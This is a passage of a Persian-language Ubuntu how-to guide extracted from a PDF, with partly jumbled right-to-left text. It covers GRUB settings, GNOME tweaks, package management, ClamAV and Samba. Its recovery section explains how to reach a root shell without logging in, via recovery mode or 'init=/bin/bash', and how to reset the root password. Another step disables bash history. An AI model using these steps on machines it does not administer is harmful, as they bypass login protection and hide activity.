password --md5 $1$ZWnke0$1fzDBVjUcT1Mpdd4u/T961 (encrypted password above) 

 . خط فرمانهای زیر را پيدا کنيد .٥

... 
title  Ubuntu, kernel 2.6.10-5-386 (recovery mode) 
root  (hd0,1) 
kernel  /boot/vmlinuz-2.6.10-5-386 root=/dev/hda2 ro single 
initrd  /boot/initrd.img-2.6.10-5-386 
savedefault 
boot 
... 

 . این خط فرمانها را به جای خط فرمانهای بالا بنویسيد .٦

#title  Ubuntu, kernel 2.6.10-5-386 (recovery mode) 
#root  (hd0,1) 
#kernel  /boot/vmlinuz-2.6.10-5-386 root=/dev/hda2 ro single 
#initrd  /boot/initrd.img-2.6.10-5-386 
#savedefault 
#boot 

 ) یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٧

  چگونه ليست گرفتن از فرمانهای اجرا شده قبلی را در کنسول غير فعال کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
2. rm $HOME/.bash_history 

touch $HOME/.bash_history 
chmod 000 $HOME/.bash_history 

 شود ؟) reboot( در کنسول، سيستم دوباره راه اندازی Ctrl+Alt+Delچگونه اجازه ندهم با فشار دادن کليدهای 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /etc/inittab /etc/inittab_backup 

sudo gedit /etc/inittab 
 . خط فرمان زیر را پيدا کنيد .٣

... 
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now 
... 
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 را به جای خط فرمان بالا بنویسيد این خط فرمان  .٤

#ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now 

 ) یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٥
6. sudo telinit q 

 اخطار قبل از پاک کردن یا دوباره نوشته شدن روی فایلها یا پوشه ها را فعال کنم ؟چگونه گزینه 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /etc/bash.bashrc /etc/bash.bashrc_backup 

sudo gedit /etc/bash.bashrc 
 . ط فرمانهای زیر را در انتهای فایل باز شده بنویسيدخ .٣

alias rm='rm -i' 
alias cp='cp -i' 
alias mv='mv -i' 

 ) ش شدهیک نمونه از فایل ویرای. (فایل ویرایش شده را ذخيره نمایيد .٤

  
  

  حالت نجات

  

   را بدون وارد شدن به سيستم داشته باشم ؟rootچگونه حق دسترسی کاربر 

  . را مطالعه نمایيدنکات عمومی .١
  )  کلمه رمز تنظيم نکرده باشيدGRUBوی از این روش زمانی ميتوانيد استفاده نمایيد که برای من(ساده ترین روش  .٢

  .سيستم را روشن نمایيد .١
  . را فشار دهيدEsc مخفی است برای دیدن آن کليد GRUBاگر منوی  .٢
  . گزینه زیر را انتخاب نمایيد .٣

Ubuntu, kernel 2.6.10-5-386 (recovery mode) 

 . را فشار دهيدEnterبرای راه اندازی مجدد سيستم کليد  .٤
  سایر روشها  .٣

 را مطالعه  را داشته باشمroot را تغيير دهم تا سطح دسترسی کاربر bootup-Kernelچگونه آرگومانهای خش ب .١
   .نمایيد

   . را مطالعه نمایيد استفاده کنمUbuntu نصب CD از rootچگونه برای داشتن سطح دسترسی بخش  .٢

   را داشته باشم ؟root را تغيير دهم تا سطح دسترسی کاربر Kernel-bootupچگونه آرگومانهای 

  .را مطالعه نمایيد نکات عمومی .١
  .سيستم را روشن نمایيد .٢
  . را فشار دهيدEsc مخفی است برای دیدن آن کليد GRUBاگر منوی  .٣
  . فشار دهيدGRUB را برای باز شدن قفل منوی P کليد ، کلمه رمز تنظيم نموده ایدGRUBاگر برای منوی  .٤
  . گزینه زیر را انتخاب نمایيد .٥

Ubuntu, kernel 2.6.10-5-386 
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 . را برای ویرایش خط فرمانها قبل از بالا آمدن سيستم فشار دهيدeف کليد حر .٦
  . گزینه زیر را انتخاب نمایيد .٧

kernel  /boot/vmlinuz-2.6.10-5-386 root=/dev/hda2 ro quiet splash 

 . را فشار دهيدeکليد حرف  ،جهت ویرایش خط فرمان انتخاب شده در زمان بوت شدن سيستم .٨
٩. "rw init=/bin/bash "را به انتهای آرگومانها اضافه نمایيد .  

grub edit> kernel  /boot/vmlinuz-2.6.10-5-386 root=/dev/hda2 ro quiet splash rw init=/bin/bash 

 . را برای بالا آمدن سيستم فشار دهيدbکليد حرف  .١٠

   استفاده کنم ؟Ubuntu نصب CD از rootچگونه برای داشتن سطح دسترسی 

  . را مطالعه نمایيدنکات عمومی .١
  .کنيد بوت Ubuntu بوت CDسيستم را با  .٢
  .  را بنویسيدrescue کلمه bootزمان بالا آمدن سيستم جلوی گزینه  .٣

boot: rescue 

 .م دهيدادامه مراحل را طبق آنچه توسط سيستم دستور داده ميشود انجا .٤

   را در صورت فراموشی تغيير دهم ؟rootچگونه کلمه رمز کاربر 

  . را مطالعه نمایيدنکات عمومی .١
   . را مطالعه نمایيد را بدون وارد شدن به سيستم داشته باشمrootدسترسی کاربر چگونه حق بخش  .٢
    rootجهت تغيير کلمه رمز کاربر  .٣

# passwd root 

 جهت تغيير کلمه رمز کاربر اصلی سيستم  .٤

# passwd system_main_username 

  را در صورت فراموشی تغيير دهم ؟GRUBچگونه کلمه رمز منوی 

  . را مطالعه نمایيدنکات عمومی .١
2. grub 

 
grub> md5crypt 
Password: ****** (ubuntu) 
Encrypted: $1$ZWnke0$1fzDBVjUcT1Mpdd4u/T961 (encrypted password) 
grub> quit 
 
sudo cp /boot/grub/menu.lst /boot/grub/menu.lst_backup 
sudo gedit /boot/grub/menu.lst 

 . خط فرمان زیر را انتخاب کنيد .٣

... 
password --md5 $1$gLhU0/$aW78kHK1QfV3P2b2znUoe/ 
... 

 . این خط فرمان را به جای خط فرمان بالا بنویسيد .٤

password --md5 $1$ZWnke0$1fzDBVjUcT1Mpdd4u/T961 (encrypted password above) 
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 ) یک نمونه از فایل ویرایش شده. (یرایش شده را ذخيره نمایيدفایل و .٥

   را برگردانم ؟GRUB روی همان سيستم ویندوز نصب کردم، چگونه مجددا منوی Ubuntuدر صورتی که پس از نصب 

  . را مطالعه نمایيدنکات عمومی .١
  .  را مطالعه نمایيد استفاده کنمUbuntu نصب CD از rootچگونه برای داشتن سطح دسترسی بخش .٢
  .شماست/ bootمسير / dev/hdaفرض ميکنيم  .٣

4. # grub-install /dev/hda 

  اضافه کنم ؟GRUBچگونه ویندوز را به منوی 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيديشن ها بگيرم چگونه ليستی از پارتبخش  .٢
  . پارتيشن ویندوزی شما استمسير/ dev/hdaفرض ميکنيم  .٣

4. sudo cp /boot/grub/menu.lst /boot/grub/menu.lst_backup 
sudo gedit /boot/grub/menu.lst 

  .خط فرمانهای زیر را در انتهای فایل باز شده بنویسيد .٥

title  Microsoft Windows 
root  (hd0,0) 
savedefault 
makeactive 
chainloader +1 

  )یک نمونه از فایل ویرایش شده. (ایل ویرایش شده را ذخيره نمایيدف .٦

   را در ویندوز ببينم ؟ext2/ext3چگونه پارتيشن های لينوکسی با فرمت 

  . را مطالعه نمایيدنکات عمومی .١
٢. Explore 2fs  دریافت نمایيداینجارا از .  

  
  

  نکات و ترفندها 

  

  ، مجددا راه اندازی کنم ؟)reboot(دون نياز به راه اندازی مجدد کل سيستم  را بGNOMEچگونه محيط کاربری 

  . را مطالعه نمایيدنکات عمومی .١
   .کليه پنجره های باز را ذخيره کرده و سپس ببندید .٢

Press 'Ctrl + Alt + Backspace' 

  و یا

sudo /etc/init.d/gdm restart 

  به صورت اتوماتيک داشته باشم ؟GNOME را در زمان شروع NumLockچگونه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
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3. sudo apt-get install numlockx 
sudo cp /etc/X11/gdm/Init/Default /etc/X11/gdm/Init/Default_backup 
sudo gedit /etc/X11/gdm/Init/Default 

  .خط فرمان زیر را پيدا کنيد .٤

... 
exit 0 

  .ی آن درج نمایيدخط فرمانهای زیر را بالا .٥

if [ -x /usr/bin/numlockx ]; then 
  /usr/bin/numlockx on 
fi 

  )یک نمونه از فایل ویرایش شده. (ایل ویرایش شده را ذخيره نمایيدف .٦
را ، مجددا راه اندازی کنم ) reboot( را بدون نياز به راه اندازی مجدد کل سيستم GNOMEچگونه محيط کاربری بخش  .٧

  .مطالعه نمایيد

   اجرا شوند ؟GNOME را تنظيم کنم تا در زمان ورود به  چگونه برخی برنامه ها

  . را مطالعه نمایيدنکات عمومی .١
٢. System - <Preferences - <Sessions  
٣. Sessions   

Startup Programs Tab -> Add/Edit/Delete 

  به محيط ترمينال سوئيچ کنم ؟GNOMEچگونه از محيط کاربری 

  .را مطالعه نمایيد نکات عمومی .١
   برای سوئيچ کردن به کنسول .٢

Press 'Ctrl + Alt + F1' (F2 - F6) 

  GNOMEبرای برگشت به محيط  .٣

Press 'Ctrl + Alt + F7' 

  غير فعال کنم ؟X-Window را برای راه اندازی مجدد محيط Ctrl+Alt+Backspaceچگونه اجرای 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /etc/X11/xorg.conf /etc/X11/xorg.conf_backup 

sudo gedit /etc/X11/xorg.conf 
  .خط فرمانهای زیر را در انتهای فایل باز شده درج نمایيد .٣

Section "ServerFlags" 
 Option  "DontZap"  "yes" 
EndSection 

  )یک نمونه از فایل ویرایش شده. (ل ویرایش شده را ذخيره نمایيدایف .٤
را ، مجددا راه اندازی کنم ) reboot(کل سيستم  را بدون نياز به راه اندازی مجدد GNOMEچگونه محيط کاربری بخش  .٥

  .مطالعه نمایيد

  ببينم ؟ GNOMEسيستم مانيتور را در محيط کاربری  Ctrl+Alt+Delچگونه با فشردن کليدهای 

  . را مطالعه نمایيدنکات عمومی .١
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2. gconftool-2 -t str --set /apps/metacity/global_keybindings/run_command_9 "<Control><Alt>Delete" 
gconftool-2 -t str --set /apps/metacity/keybinding_commands/command_9 "gnome-system-monitor" 

  کنم ؟refresh را GNOMEچگونه محيط کاربری 

  . را مطالعه نمایيدنکات عمومی .١
2. killall nautilus 

  کنم ؟refresh را GNOME Panelچگونه 

  . را مطالعه نمایيدنکات عمومی .١
2. killall gnome-panel 

  باز کنم ؟Nautilus پنجره جاری خودش در محيط چگونه هر پوشه را در همان

  . را مطالعه نمایيدنکات عمومی .١
٢. Applications - <System Tools - <Configuration Editor  
٣. Configuration Editor   

/ -> apps -> nautilus -> preferences -> always_use_browser (Checked) 

  ببينم ؟Nautilusچگونه کليه فایلها و پوشه های مخفی را در محيط 

  . را مطالعه نمایيدنکات عمومی .١
٢. Places - <Home Folder  
   بطور موقت Nautilusبرای دیدن فایلها و پوشه های مخفی در  .٣

Press 'Ctrl + H' 

  بطور دائمی Nautilusبرای دیدن فایلها و پوشه های مخفی در  .٤
5. Edit Menu -> Preferences 
6.  

Views Tab -> Default View -> Show hidden and backup files (Checked) 

  ببينم ؟root با سطح دسترسی کاربر Nautilusچگونه کليه فایلها و پوشه ها را در محيط 

  . را مطالعه نمایيدنکات عمومی .١
  ) root(برای نصب کاوشگر فایلها برای  .٢

1. sudo gedit /usr/share/applications/Nautilus-root.desktop 
  خط فرمانهای زیر را در فایل جدید بنویسيد .٢

[Desktop Entry] 
Name=File Browser (Root) 
Comment=Browse the filesystem with the file manager 
Exec=gksudo "nautilus --browser %U" 
Icon=file-manager 
Terminal=false 
Type=Application 
Categories=Application;System; 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٣
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤

   Nautilusدر محيط  rootا و پوشه ها با سطح دسترسی کاربر برای دیدن فایله .٣
١. Applications - <System Tools - <File Browser  و سپسroot  

   را روی صفحه نمایش ببينم ؟Computer, Home, Trashچگونه آیکنهای مخفی 
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  . را مطالعه نمایيدمینکات عمو .١
٢. Applications - <System Tools - <Configuration Editor  
٣. Configuration Editor   

/ -> apps -> nautilus -> desktop -> 
computer_icon_visible (Checked) 
home_icon_visible (Checked) 
trash_icon_visible (Checked) 

 تلف را اجرا کند عوض کنم ؟چگونه برنامه ای که باید فایلهای مخ

  . را مطالعه نمایيدنکات عمومی .١
2. Right click on file -> Properties 
3.  
4. Open With Tab -> Add 
5.  
6. Select "Open with" program 
7.  
8. Select "Open with" program (Checked) 

  کنم ؟Mozilla Thunderbirdنامه ایميل خوان اصلی سيستم را چگونه بر

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدنصب کنم  را Mozilla Thunderbirdچگونه بسته نرم افزاری برنامه ایميل خوان بخش  .٢
٣. System - <Preferences - <Preferred Applications  
٤. Preferred Applications   

Mail Reader Tab -> Default Mail Reader -> Command: mozilla-thunderbird %s 

  از طریق راست کليک باز کنم ؟rootچگونه فایلها را با سطح دسترسی کاربر 

  . را مطالعه نمایيدنکات عمومی .١
2. gedit $HOME/.gnome2/nautilus-scripts/Open\ as\ root 

  .خط فرمانهای زیر را در فایل جدید بنویسيد .٣

for uri in $NAUTILUS_SCRIPT_SELECTED_URIS; do 
 gnome-sudo "gnome-open $uri" & 
done 

  )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٤
5. chmod +x $HOME/.gnome2/nautilus-scripts/Open\ as\ root 
6. Right click on file -> Scripts -> Open as root 

 چگونه صدای بوق را در حالت ترمينال غير فعال کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
٢. Applications - <System Tools - <Terminal  
٣. Terminal   

4. Edit Menu -> Current Profile... 
5.  

General Tab -> General -> Terminal bell (Un-Checked) 

  سریعتر باز کنم ؟Mozilla Firefoxچگونه صفحات وب را در 

  . را مطالعه نمایيدنکات عمومی .١
٢. Applications - <Internet - <Firefox Web Browser  
٣. Mozilla Firefox   

4. Address Bar -> about:config 
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5.  
6. Filter: -> 
7. network.dns.disableIPv6 -> true 
8. network.http.pipelining -> true 
9. network.http.pipelining.maxrequests -> 8 

network.http.proxy.pipelining -> true 

١٠. Mozilla Firefox را دوباره اجرا نمایيد. 

   در زمان پيدا کردن لينک غير فعال کنم ؟Mozilla Firefoxچگونه صدای بوق را در 

  . را مطالعه نمایيدنکات عمومی .١
٢. Applications - <Internet - <Firefox Web Browser  
٣. Mozilla Firefox   

4. Address Bar -> about:config 
5.  

Filter: -> accessibility.typeaheadfind.enablesound -> false 

٦. Mozilla Firefox را دوباره اجرا نمایيد. 

   را برگردانم ؟Mozilla Firefoxچگونه آیکنهای اصلی 

  . را مطالعه نمایيدنکات عمومی .١
2. wget -c http://frankandjacq.com/ubuntuguide/mozilla-firefox.png 
3. wget -c http://frankandjacq.com/ubuntuguide/document.png 
4. chmod 644 mozilla-firefox.png 
5. chmod 644 document.png 
6. sudo dpkg-divert --rename /usr/share/pixmaps/mozilla-firefox.png 
7. sudo dpkg-divert --rename /usr/share/pixmaps/mozilla-firefox.xpm 
8. sudo dpkg-divert --rename /usr/lib/mozilla-firefox/icons/default.xpm 
9. sudo dpkg-divert --rename /usr/lib/mozilla-firefox/icons/document.png 
10. sudo dpkg-divert --rename /usr/lib/mozilla-firefox/chrome/icons/default/default.xpm 
11. sudo cp mozilla-firefox.png /usr/share/pixmaps/mozilla-firefox.png 
12. sudo cp mozilla-firefox.png /usr/share/pixmaps/mozilla-firefox.xpm 
13. sudo cp mozilla-firefox.png /usr/lib/mozilla-firefox/icons/default.xpm 
14. sudo cp document.png /usr/lib/mozilla-firefox/icons/document.png 
15. sudo cp mozilla-firefox.png /usr/lib/mozilla-firefox/chrome/icons/default/default.xpm 

را ، مجددا راه اندازی کنم ) reboot( را بدون نياز به راه اندازی مجدد کل سيستم GNOMEچگونه محيط کاربری بخش  .١٦
  .مطالعه نمایيد

   را برگردانم ؟Mozilla Thunderbirdچگونه آیکنهای اصلی 

  . را مطالعه نمایيدنکات عمومی .١
2. wget -c http://frankandjacq.com/ubuntuguide/mozilla-thunderbird.xpm 
3. chmod 644 mozilla-thunderbird.xpm 
4. sudo dpkg-divert --rename /usr/share/pixmaps/mozilla-thunderbird.xpm 
5. sudo dpkg-divert --rename /usr/share/pixmaps/mozilla-thunderbird-menu.xpm 
6. sudo dpkg-divert --rename /usr/share/pixmaps/mozilla-thunderbird-pm-menu.xpm 
7. sudo dpkg-divert --rename /usr/lib/mozilla-thunderbird/chrome/icons/default/mozilla-thunderbird.xpm 
8. sudo dpkg-divert --rename /usr/lib/mozilla-thunderbird/chrome/icons/default/messengerWindow16.xpm 
9. sudo dpkg-divert --rename /usr/lib/mozilla-thunderbird/chrome/icons/default/messengerWindow.xpm 
10. sudo dpkg-divert --rename /usr/lib/mozilla-thunderbird/chrome/icons/default/default.xpm 
11. sudo cp mozilla-thunderbird.xpm /usr/share/pixmaps/mozilla-thunderbird.xpm 
12. sudo cp mozilla-thunderbird.xpm /usr/share/pixmaps/mozilla-thunderbird-menu.xpm 
13. sudo cp mozilla-thunderbird.xpm /usr/share/pixmaps/mozilla-thunderbird-pm-menu.xpm 
14. sudo cp mozilla-thunderbird.xpm /usr/lib/mozilla-thunderbird/chrome/icons/default/mozilla-thunderbird.xpm 
15. sudo cp mozilla-thunderbird.xpm /usr/lib/mozilla-thunderbird/chrome/icons/default/messengerWindow16.xpm 
16. sudo cp mozilla-thunderbird.xpm /usr/lib/mozilla-thunderbird/chrome/icons/default/messengerWindow.xpm 
17. sudo cp mozilla-thunderbird.xpm /usr/lib/mozilla-thunderbird/chrome/icons/default/default.xpm 

را ، مجددا راه اندازی کنم ) reboot( را بدون نياز به راه اندازی مجدد کل سيستم GNOMEچگونه محيط کاربری بخش  .١٨
  .مطالعه نمایيد

   کنم ؟apt-get ساده تر Synapticچگونه با کمک 
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 ٤٠٠    صفحه

  . نمایيد را مطالعهنکات عمومی .١
٢. System - <Administration - <Synaptic Package Manager  
٣. Synaptic Package Manager   

   )apt-get updateمعادل خط فرمان (کردن ليست بسته های شناخته شده  refreshبرای  .١

Edit Menu -> Reload Package Information 

  )apt-get upgradeمعادل خط فرمان (برای روزآمد کردن بسته های نصب شده  .٢
3. Edit Menu -> Mark All Upgrades... -> Default Upgrade 

Edit Menu -> Apply Marked Changes 

  )apt-cache search package_nameمعادل (برای جستجوی یک بسته  .٤

Edit Menu -> Search... Specify the package name 

  )apt-get install package_name(برای نصب یک بسته خاص  .٥
6. Select "package_name" 
7.  
8. Package Menu -> Mark for Installation 

Edit Menu -> Apply Marked Changes 

  )apt-get remove package_nameمعادل دستور (برای حذف یک بسته نصب شده  .٩
10. Select "package_name" 
11.  
12. Package Menu -> Mark for Removal 

Edit Menu -> Apply Marked Changes 

 را نصب یا حذف کنم ؟. debچگونه فایلهای 

  . را مطالعه نمایيدنکات عمومی .١
   debبرای نصب یک بسته از طریق یک فایل  .٢

sudo dpkg -i package_file.deb 

  نصب شده debبرای حذف یک بسته که با فایل  .٣

sudo dpkg -r package_name 

  تبدیل کنم ؟deb را به rpmچگونه فایلهای 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo alien package_file.rpm 

 چگونه فایلهای یک پوشه را با هم تغيير نام دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
  mvbبرای نصب بسته نرم افزاری  .٢

3. wget -c http://frankandjacq.com/ubuntuguide/mvb_1.6.tgz 
4. sudo tar zxvf mvb_1.6.tgz -C /usr/share/ 
5. sudo chown -R root:root /usr/share/mvb_1.6/ 

  برای تغيير نام کليه فایلهای موجود در یک پوشه .٦

mvb NEW_NAME 

  کنم ؟Manipulateچگونه کليه فایلهای عکس موجود در یک پوشه را 

  . را مطالعه نمایيدمینکات عمو .١
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 ٤٠١    صفحه

   bash batch image processing script برای نصب .٢
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .١

2. sudo apt-get install imagemagick 
wget -c http://frankandjacq.com/ubuntuguide/bbips.0.3.2.sh 

3. sudo cp bbips.0.3.2.sh /usr/bin/bbips 
4. sudo chmod 755 /usr/bin/bbips 

  کردن کليه عکسهای موجود در یک پوشه به طور یک جا Manipulateبرای  .٣

bbips 

  را تنظيم کنم ؟System-wide Environment Variablesچگونه متغيرهای 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /etc/bash.bashrc /etc/bash.bashrc_backup 

sudo gedit /etc/bash.bashrc 
  .را به انتهای فایل اضافه نمایيد System-wide Environment Variablesمتغيرهای  .٣
  .فایل ویرایش شده را ذخيره نمایيد .٤

   را در یک فایل ذخيره کنم ؟manچگونه خروجی های دستور 

  . را مطالعه نمایيدنکات عمومی .١
2. man command | col -b > file.txt 

  را در زمان راه اندازی سيستم مخفی کنم ؟GRUBه منوی چگون

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /boot/grub/menu.lst /boot/grub/menu.lst_backup 

sudo gedit /boot/grub/menu.lst 
  .ا کنيدخط فرمان زیر را پيد .٣

... 
#hiddenmenu 
... 

  .این خط فرمان را به جای خط فرمان بالا درج نمایيد .٤

hiddenmenu 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥

  زی سيستم شمرده ميشود تغيير دهم ؟چگونه زمانی را که در موقع راه اندا

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /boot/grub/menu.lst /boot/grub/menu.lst_backup 

sudo gedit /boot/grub/menu.lst 
  .خط فرمان زیر را پيدا کنيد .٣

... 
timeout         3 
... 

  .این خط فرمان را به جای خط فرمان بالا درج نمایيد .٤

timeout         X_seconds 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥
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 ٤٠٢    صفحه

   سيستم عامل اوليه را مشخص کنم ؟GRUBی چگونه در منو

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /boot/grub/menu.lst /boot/grub/menu.lst_backup 

sudo gedit /boot/grub/menu.lst 
  .خط فرمان زیر را پيدا کنيد .٣

... 
default         0 
... 

  این خط فرمان را به جای خط فرمان بالا درج نمایيد .٤

default         X_sequence 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥

   نشان داده شود ؟GRUB در زمان راه اندازی سيستم برای منوی splashچگونه یک تصویر 

  . را مطالعه نمایيدنکات عمومی .١
  .است Ubuntuپارتيشن بوت  hd0,1فرض ميکنيم  .٢

3. wget -c http://frankandjacq.com/ubuntuguide/ubuntu.xpm.gz 
4. chmod 644 ubuntu.xpm.gz 
5. sudo mkdir /boot/grub/images 
6. sudo cp ubuntu.xpm.gz /boot/grub/images/ 
7. sudo cp /boot/grub/menu.lst /boot/grub/menu.lst_backup 
8. sudo gedit /boot/grub/menu.lst 

   .رمان زیر را پيدا کنيدخط ف .٩

# menu.lst - See: grub(8), info grub, update-grub(8) 
#            grub-install(8), grub-floppy(8), 
#            grub-md5-crypt, /usr/share/doc/grub 
#            and /usr/share/doc/grub-doc/. 
... 

  . درج نمایيداین خط فرمان را زیر خط فرمانهای بالا .١٠

splashimage (hd0,1)/boot/grub/images/ubuntu.xpm.gz 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .١١

   تبدیل کنم ؟GRUBنوی  برای مsplashچگونه یک کاغذ دیواری را به تصویر 

  . را مطالعه نمایيدنکات عمومی .١
  انتخاب کرده ایم splashتصویری است که ما به عنوان  wallpaper.pngفرض ميکنيم  .٢

splashimage.xpm.gz  تصویرsplash  برای منویGRUB خواهد بود.  
3. convert -resize 640x480 -colors 14 wallpaper.png splashimage.xpm && gzip splashimage.xpm 

از . (را مطالعه نمایيد نشان داده شود GRUB در زمان راه اندازی سيستم برای منوی splashچگونه یک تصویر بخش  .٤
splashimage.xpm.gzای  به جubuntu.xpm.gzاستفاده نمایيد ( 

  چگونه موقتا برخی از سرویسهای زمان بالا آمدن سيستم را حذف کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
2. Press 'Ctrl + C' 

 لا آمدن سيستم را حذف کنم ؟چگونه به صورت دائم برخی از سرویسهای زمان با

  . را مطالعه نمایيدنکات عمومی .١
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 ٤٠٣    صفحه

  برای حذف دائم یک سرویس در زمان بالا آمدن سيستم  .٢

sudo chmod -x /etc/init.d/service_name 

 سيستم برای فعال کردن یک سرویس در زمان بالا آمدن  .٣

sudo chmod +x /etc/init.d/service_name 

 در زمان خاموش شدن سيستم به طور اتوماتيک پاک شوند ؟/ tmpچگونه محتویات پوشه 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /etc/init.d/sysklogd /etc/init.d/sysklogd_backup 

sudo gedit /etc/init.d/sysklogd 
 خط فرمانهای زیر را پيدا کنيد  .٣

... 
  stop) 
    log_begin_msg "Stopping system log daemon..." 
    start-stop-daemon --stop --quiet --oknodo --exec $binpath --pidfile $pidfile 
    log_end_msg $? 
... 

  فرمان را زیر خط فرمانهای بالا بنویسيد این خط .٤

    rm -fr /tmp/* /tmp/.??* 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥

  نم ؟خروجی های قبلی را ببي consoleچگونه در حالت 

  . را مطالعه نمایيدنکات عمومی .١
   برای بالا رفتن در خروجی های قبلی .٢

Press 'Shift + Page Up' 

  برای پایين آمدن در خروجی های قبلی .٣

Press 'Shift + Page Down' 

 
  

  سرويس ضدويروس

  

   را نصب کنم ؟ClamAVهنده ضدویروس چگونه سرویس د

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install clamav 

 چگونه به صورت دستی ضدویروس نصب شده را روزآمد نمایم ؟

  . را مطالعه نمایيدنکات عمومی .١
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 ٤٠٤    صفحه

  . را مطالعه نمایيدنصب کنم  را ClamAVچگونه سرویس دهنده ضد ویروس بخش  .٢
3. sudo freshclam 

 چگونه به صورت دستی فایلها و یا پوشه های خاصی را اسکن ویروسی نمایم ؟

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را نصب کنم ClamAVسرویس دهنده ضد ویروس چگونه بخش  .٢

3. sudo clamscan -r /location_of_files_or_folders 

 چگونه به صورت اتوماتيک فایلها و یا پوشه های خاصی را اسکن ویروسی نمایم ؟

  . را مطالعه نمایيدمینکات عمو .١
  .را مطالعه نمایيد را نصب کنم ClamAVچگونه سرویس دهنده ضد ویروس بخش  .٢
  برای اسکن ویروسی اتوماتيک کليه فایها و پوشه ها هر شب .٣

      
4. export EDITOR=gedit && sudo crontab -e 

 . فه نمایيداین خط فرمان را در انتهای فایل اضا .٥

00 00 * * * sudo clamscan -r /location_of_files_or_folders 

 .فایل ویرایش شده را ذخيره نمایيد .٦

  
  

  Sambaسرويس دهنده 

  

   را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم ؟Sambaچگونه سرویس دهنده 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install samba 
sudo apt-get install smbfs 

  اضافه یا حذف کنم ؟چگونه کاربرانی را برای شبکه

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم Sambaچگونه سرویس دهنده بخش  .٢
  برای اضافه کردن یک کاربر شبکه  .٣

  . را مطالعه نمایيدکم و یا تغيير دهم /چگونه کاربران سيستم را اضافهبخش  .١
2. sudo smbpasswd -a system_username 

sudo gedit /etc/samba/smbusers 
 . خط فرمان زیر را در فایل جدید بنویسيد .٣

system_username = "network username" 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٤
  برای ویرایش یک کاربر شبکه  .٤

sudo smbpasswd -a system_username 

 اربر شبکه برای حذف یک ک .٥
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 ٤٠٥    صفحه

sudo smbpasswd -x system_username 

کاربران مجاز (چگونه پوشه های خانگی و شخصی هر کاربر را با مجوز فقط خواندن برای سایر کاربران به اشتراک بگذارم ؟ 
 )ميتوانند وارد شوند

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنم Sambaچگونه سرویس دهنده بخش  .٢

3. sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 . ا پيدا کنيدخط فرمان زیر ر .٤

... 
;   security = user 
... 

 این خط فرمان را به جای خط فرمان بالا بنویسيد  .٥

   security = user 
   username map = /etc/samba/smbusers 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٦
  . را مطالعه نمایيدکم و یا تغيير دهم /چگونه کاربران سيستم را اضافهبخش  .٧

8. sudo testparm 
sudo /etc/init.d/samba restart 

کاربران مجاز (اندن و نوشتن برای سایر کاربران به اشتراک بگذارم ؟ چگونه پوشه های خانگی و شخصی هر کاربر را با مجوز خو
 )ميتوانند وارد شوند

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد اشتراک گذاری پوشه ها و فایلها راه اندازی کنم  را برای بهSambaچگونه سرویس دهنده بخش  .٢

3. sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 . خط فرمان زیر را پيدا کنيد .٤

... 
;   security = user 
... 

   این خط فرمان را به جای خط فرمان بالا بنویسيد .٥

   security = user 
   username map = /etc/samba/smbusers 

 خط فرمان زیر را پيدا کنيد  .٦

... 
# By default, the home directories are exported read-only. Change next 
# parameter to 'yes' if you want to be able to write to them. 
   writable = no 
... 

 به جای خط فرمان بالا بنویسيد این خط فرمان را  .٧

# By default, the home directories are exported read-only. Change next 
# parameter to 'yes' if you want to be able to write to them. 
   writable = yes 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٨
  . را مطالعه نمایيدکم و یا تغيير دهم /چگونه کاربران سيستم را اضافهبخش  .٩
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 ٤٠٦    صفحه

10. sudo testparm 
sudo /etc/init.d/samba restart 

